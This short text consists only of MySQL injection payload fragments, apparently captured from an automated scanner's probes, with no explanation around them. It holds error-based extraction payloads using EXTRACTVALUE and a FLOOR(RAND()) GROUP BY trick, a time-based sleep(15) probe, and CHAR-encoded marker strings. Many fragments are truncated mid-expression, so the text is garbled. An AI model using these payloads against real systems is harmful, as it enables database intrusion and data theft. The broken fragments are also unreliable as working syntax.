(SELECT -1 (select EXTRACTVALUE(1,CONCAT(0x3a,CHAR(52 1 0 EXTRACTVALUE(1,CONCAT(0x3a,CHAR(52 -1 1 if(now( (select CHAR(52),CHAR(67),CHAR(117),CHAR(120),CHAR(102),CHAR(101),CHAR(98),CHAR(121),CHAR(110),CHAR(121),CHAR(119)) if(now()=sysdate(),sleep(15),0) EXTRACTVALUE(1,CONCAT(0x3a,CHAR(52),CHAR(67),CHAR(117),CHAR(120),CHAR(102),CHAR(101),CHAR(98),CHAR(121),CHAR(110),CHAR(121),CHAR(119))) (SELECT 0 (select (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(120),CHAR(102),CHAR(101),CHAR(98),CHAR(121),CHAR(110),CHAR(121),CHAR(119),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP B (SELECT -1